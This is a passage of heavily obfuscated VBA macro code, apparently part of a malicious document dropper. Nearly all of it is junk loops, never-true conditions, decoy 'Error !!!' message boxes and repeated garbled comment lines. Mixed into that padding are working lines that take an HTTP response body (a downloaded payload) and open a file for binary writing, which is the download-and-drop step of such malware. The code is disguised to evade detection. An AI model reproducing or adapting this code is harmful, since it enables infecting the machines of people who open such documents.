'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("uwlXubsn5916") = Len("kMmligtC") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim PtsLVNId As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim xNjIvmGT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For xNjIvmGT = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next xNjIvmGT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
PtsLVNId = 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While PtsLVNId < 23
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim acgFtQqy As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For acgFtQqy = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next acgFtQqy
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: PtsLVNId = PtsLVNId + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim EpBXLFNL As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For EpBXLFNL = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next EpBXLFNL
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim PlSCaYZV As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For PlSCaYZV = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next PlSCaYZV
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim qaenIrWu As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim wrzQUema As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For wrzQUema = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next wrzQUema
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
qaenIrWu = 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While qaenIrWu < 63
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim AkkAoEEm As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For AkkAoEEm = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next AkkAoEEm
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: qaenIrWu = qaenIrWu + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim rreRoWbD As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For rreRoWbD = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next rreRoWbD
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim CXsXTfbR As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For CXsXTfbR = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next CXsXTfbR
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    ZEFGKWXQJQF = RNNVUWVLESY.responseBody
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 632496 = 632496 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 7193 < 95 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim qNuqFNgT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim wtMbkHEu As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For wtMbkHEu = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next wtMbkHEu
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
qNuqFNgT = 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While qNuqFNgT < 35
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim gKcqWXIb As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For gKcqWXIb = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next gKcqWXIb
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: qNuqFNgT = qNuqFNgT + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim lmnBHclQ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For lmnBHclQ = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next lmnBHclQ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim gMkIhxaK As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For gMkIhxaK = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next gMkIhxaK
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("tzMQGSOW48")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("aTHfHHUQ4159") = Len("TLSzZsgG") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ksUuEtPh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim tzubsxGd As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For tzubsxGd = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next tzubsxGd
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
ksUuEtPh = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While ksUuEtPh < 75
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DaqiASdG As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For DaqiASdG = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next DaqiASdG
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: ksUuEtPh = ksUuEtPh + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim tVvrbEIW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For tVvrbEIW = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next tVvrbEIW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DzuxwHLj As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For DzuxwHLj = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next DzuxwHLj
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim EXnPmWgm As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim HPOsHlCC As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For HPOsHlCC = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next HPOsHlCC
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
EXnPmWgm = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While EXnPmWgm < 92
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QfyAiRnE As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For QfyAiRnE = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next QfyAiRnE
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: EXnPmWgm = EXnPmWgm + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim hHPpXzWo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For hHPpXzWo = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next hHPpXzWo
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim CXyPyfJT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For CXyPyfJT = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next CXyPyfJT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    RVDHCWIGIMP = FreeFile
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Open DNZWAGZEAAU For Binary As #RVDHCWIGIMP
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 131918 = 131918 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 1444 < 76 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ucirkLBb As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YCzCsjvd As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YCzCsjvd = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YCzCsjvd
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
ucirkLBb = 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While ucirkLBb < 95
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim dthCNHRy As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For dthCNHRy = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next dthCNHRy
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: ucirkLBb = ucirkLBb + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YKmZbcjW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YKmZbcjW = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YKmZbcjW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
